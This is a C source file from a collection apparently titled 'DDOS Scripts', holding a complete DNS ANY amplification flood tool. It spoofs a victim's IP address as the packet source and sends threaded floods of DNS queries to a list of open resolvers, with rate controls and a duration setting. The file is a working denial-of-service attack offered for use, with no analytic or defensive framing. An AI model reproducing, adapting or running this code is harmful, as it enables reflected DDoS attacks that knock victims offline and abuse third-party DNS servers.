Path: blob/master/DDOS Scripts/AMP Methods/Miscellaneous (not worth individual mention)/dns.c
4622 views
/*-------------------------------1DNS Any amplification on the dumb template C script.2Mostly RRSIG, TXT, and A records.3Change payload to reference just Type:RRSIG if needed --> \x2e4Refined by Phenomite.5-------------------------------*/6#include <arpa/inet.h>7#include <netinet/ip.h>8#include <netinet/udp.h>9#include <pthread.h>10#include <stdio.h>11#include <stdlib.h>12#include <string.h>13#include <sys/socket.h>14#include <time.h>15#include <unistd.h>1617/* using TLD "sl" at the moment */18static const char PAYLOAD[] =19"\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff"20"\x00\x01\x00\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00";21static unsigned int DPORT = 53;2223// Phenomite template begin24#define MAX_PACKET_SIZE 409625#define PHI 0xaaf219b926static uint32_t Q[4096], c = 362436;27static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;2829struct list {30struct sockaddr_in data;31struct list *next;32struct list *prev;33};34struct list *head;35volatile int tehport;36volatile int limiter;37volatile unsigned int pps;38volatile unsigned int sleeptime = 100;39struct thread_data {40int thread_id;41struct list *list_node;42struct sockaddr_in sin;43};4445void init_rand(uint32_t x) {46int i;47Q[0] = x;48Q[1] = x + PHI;49Q[2] = x + PHI + PHI;50for (i = 3; i < 4096; i++) {51Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;52}53}5455uint32_t rand_cmwc(void) {56uint64_t t, a = 18782LL;57static uint32_t i = 4095;58uint32_t x, r = 0xfffffffe;59i = (i + 1) & 4095;60t = a * Q[i] + c;61c = (t >> 32);62x = t + c;63if (x < c) {64x++;65c++;66}67return (Q[i] = r - x);68}6970/* function for header checksums */71unsigned short csum(unsigned short *buf, int nwords) {72unsigned long sum;73for (sum = 0; nwords > 0; nwords--)74sum += *buf++;75sum = (sum >> 16) + (sum & 0xffff);76sum += (sum >> 16);77return (unsigned short)(~sum);78}7980void setup_ip_header(struct iphdr *iph) {81iph->ihl = 5;82iph->version = 4;83iph->tos = 0;84iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;85iph->id = htonl(61337);86iph->frag_off = 0;87iph->ttl = MAXTTL;88iph->protocol = IPPROTO_UDP;89iph->check = 0;90iph->saddr = inet_addr("127.0.0.1");91}92void setup_udp_header(struct udphdr *udph) {93udph->source = htons(61337);94udph->dest = htons(DPORT);95udph->check = 0;96memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);97udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);98}99void *flood(void *par1) {100struct thread_data *td = (struct thread_data *)par1;101char datagram[MAX_PACKET_SIZE];102struct iphdr *iph = (struct iphdr *)datagram;103struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);104struct sockaddr_in sin = td->sin;105struct list *list_node = td->list_node;106int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);107if (s < 0) {108fprintf(stderr, "Could not open raw socket.\n");109exit(-1);110}111init_rand(time(NULL));112memset(datagram, 0, MAX_PACKET_SIZE);113setup_ip_header(iph);114setup_udp_header(udph);115udph->source = htons(tehport);116iph->saddr = sin.sin_addr.s_addr;117iph->daddr = list_node->data.sin_addr.s_addr;118iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);119int tmp = 1;120const int *val = &tmp;121if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {122fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");123exit(-1);124}125init_rand(time(NULL));126register unsigned int i;127i = 0;128while (1) {129list_node = list_node->next;130iph->daddr = list_node->data.sin_addr.s_addr;131iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);132iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);133sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,134sizeof(list_node->data));135pps++;136if (i >= limiter) {137i = 0;138usleep(sleeptime);139}140i++;141}142}143int main(int argc, char *argv[]) {144if (argc < 6) {145fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",146argv[0]);147exit(-1);148}149srand(time(NULL));150int i = 0;151head = NULL;152fprintf(stdout, "Loading list to buffer\n");153int max_len = 512;154char *buffer = (char *)malloc(max_len);155buffer = memset(buffer, 0x00, max_len);156tehport = atoi(argv[2]);157int num_threads = atoi(argv[4]);158int maxpps = atoi(argv[5]);159limiter = 0;160pps = 0;161int multiplier = 20;162FILE *list_fd = fopen(argv[3], "r");163while (fgets(buffer, max_len, list_fd) != NULL) {164if ((buffer[strlen(buffer) - 1] == '\n') ||165(buffer[strlen(buffer) - 1] == '\r')) {166buffer[strlen(buffer) - 1] = 0x00;167if (head == NULL) {168head = (struct list *)malloc(sizeof(struct list));169bzero(&head->data, sizeof(head->data));170head->data.sin_addr.s_addr = inet_addr(buffer);171head->next = head;172head->prev = head;173} else {174struct list *new_node = (struct list *)malloc(sizeof(struct list));175memset(new_node, 0x00, sizeof(struct list));176new_node->data.sin_addr.s_addr = inet_addr(buffer);177new_node->prev = head;178new_node->next = head->next;179head->next = new_node;180}181i++;182} else {183continue;184}185}186struct list *current = head->next;187pthread_t thread[num_threads];188struct sockaddr_in sin;189sin.sin_family = AF_INET;190sin.sin_addr.s_addr = inet_addr(argv[1]);191struct thread_data td[num_threads];192for (i = 0; i < num_threads; i++) {193td[i].thread_id = i;194td[i].sin = sin;195td[i].list_node = current;196pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);197}198fprintf(stdout, "Yeeting\n");199for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {200usleep((1000 / multiplier) * 1000);201if ((pps * multiplier) > maxpps) {202if (1 > limiter) {203sleeptime += 100;204} else {205limiter--;206}207} else {208limiter++;209if (sleeptime > 25) {210sleeptime -= 25;211} else {212sleeptime = 0;213}214}215pps = 0;216}217return 0;218}219220221